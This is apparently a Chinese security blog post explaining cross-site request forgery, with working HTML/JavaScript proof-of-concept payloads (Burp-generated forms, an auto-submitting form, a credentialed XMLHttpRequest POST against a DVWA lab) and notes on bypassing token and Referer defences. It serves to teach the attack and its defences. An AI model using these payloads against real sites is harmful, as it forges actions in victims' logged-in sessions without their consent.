CSRF 原理 利用 防御

引子  

  最近呢挖到某站的一个CSRF。鉴于这个站点的所有者性质有些特殊,是可以随时记过开除我的那种特殊,我就不点名是哪个站也不披露太多细节,讲讲我最近学到的一些CSRF相关的东西代替吧。

CSRF是什么

  CSRF是洋文Cross-Site Request Forgery的缩写,意思是跨站请求伪造。
  通常的攻击过程是受害者先登录正常网站,再被攻击者骗去访问攻击者控制的服务器,最后攻击者通过HTML/JS代码使受害者浏览器带着Cookies向正常网站发包,执行了违背受害者意愿的操作。
Image result for CSRF

CSRF和XSS

  好像总是听到有面试题问什么“CSRF和SSRF的区别”这个问题。说实话这个问题好像没什么好说的,这就像问知网和知乎网的区别一样。我接触到的朋友好像更难分清楚XSS和CSRF的区别,毕竟都是点一个链接就被搞了。但实际上他们区别还是很明显的,XSS是跨站脚本执行,能够以被攻击的正常网站的“身份”在受害者浏览器上面执行JS代码,一般除了需要输密码才能干的事情以外能以受害者身份在该网站上干任何事情。然而CSRF只是让受害者的浏览器发几个包,并不能操纵正常网站上的JS代码,能干的事情一般比XSS少。

CSRF的几种类型

 GET型的CSRF

   GET型的CSRF只需要让受害者发GET型的包就可以了
   攻击者可以用以下方式使受害者浏览器发出该包
<img src="http://website" >
    

  普通的POST型的CSRF

   许多开发者一厢情愿地认为自己的敏感操作换成POST就不会被有事了,但这个观点被证明是错的。这里就讲几个不同的CSRF POST payload
   首先,一个普通的攻击者可以用BURP自带的CSRF POC生成一个POC
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://127.0.0.1/dvwa-TOM/login.php" method="POST">
      <input type="hidden" name="username" value="fuckyou" />
      <input type="hidden" name="password" value="fuckyou" />
      <input type="hidden" name="Login" value="Login" />
      <input type="hidden" name="user&#95;token" value="45863ff755160362fbe8cd6c524301cf" />
      <input type="submit" value="Submit request" />
    </form>

  </body>
</html>
    但是这个POC显然是没什么实战价值的,不仅需要受害者点那个“Submit request",而且点完后还会跳到被攻击的网站,傻子都猜到这个有问题
  网上流传的另一类POC
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://thewind/dvwa-TOM/login.php" id="1"  method="POST">
      <input type="hidden" name="username" value="fuckyou" />
      <input type="hidden" name="password" value="fuckyou" />
      <input type="hidden" name="Login" value="Login" />
      <input type="hidden" name="user&#95;token" value="45863ff755160362fbe8cd6c524301cf" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
        var f=document.getElementById("1");
        f.submit();
    </script>
  </body>
</html>
  这个POC无需用户再次点击就可以自动发包了,但是还是会跳到受攻击网站那儿去。这两类POC的广泛流传使得一票程序员相信POST的CSRF根本无法隐蔽攻击,没有实用性质。但是真的就只能这样了吗?如果只是这样我也就不会写出这么一篇文章来了。其实攻击者完全可以用XMLHttpRequest发送POST包而无需尴尬跳转,所以我们来看看最后能用的POC
<html>
  <body>
<script>
    function CSRF()
    {
            var xmlhttp = null;
            if (window.XMLHttpRequest)
                xmlhttp=new XMLHttpRequest();
            else if (window.ActiveXObject)
                xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");//兼容IE浏览器xml
            xmlhttp.open("POST","目标URL",true)
            xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
            xmlhttp.withCredentials = true; 
            xmlhttp.send("POST数据");
} CSRF(); </script> </body> </html>
    这个POC才是真正能够实战使用的POC,只会闷声发包还不被CORS阻拦,没有恼人的跳转,一步到位。

  特殊Content-Type的POST型的CSRF

  上述POC已经能发包了,但是Content-Type若是改成x/json还是会被CORS拦截,如果遇到特殊Content-Type类型的CSRF,我们有两种可能的解决办法
  法一:如果对方服务器足够的“包容”,那我们用application/x-www-form-urlencoded作为Content-Type也是可以的
  法二:使用Flash发包
               参见https://www.freebuf.com/articles/web/164234.html

    

CSRF的不安全的防御导致的绕过手段    

  除了改成POST操作之类的伪防御以外,还有些正确的但容易被用错的防御

  Token可被获取

    许多开发者会在操作的时候加入CSRF Token。本来这是安全的,但是这个Token也可能在用户在被攻击的网站内点击链接的时候泄漏。如果在点出链接的时候用户的URL栏中有这个Token,这个Token就会被发出去的Referer参数泄漏。
    因此在设计站内信之类的设计的时候,建议把所有发过来的网址设计一个跳转,清除敏感的Referer

  Referer绕过

    检验Referer也是一种可行方法,但有的时候检验的方式错误或者放掉空Referer也可以绕过
    CSRF 花式绕过Referer技巧已经有大佬说的很明白了,我就不缀述了

结尾

     尽管CSRF在OWASP中已不幸消失于Top 10,但是许多小型的CMS许多小网站都没有对此防护,平常想要水CVE的时候还是可以挖几个玩玩的
   

评论

发表评论

此博客中的热门博文

局域网监控软件WFilter ICF 鸡肋0day RCE漏洞挖掘

别想偷我源码:通用的针对源码泄露利用程序的反制(常见工具集体沦陷)

复现基于eBPF实现的Docker逃逸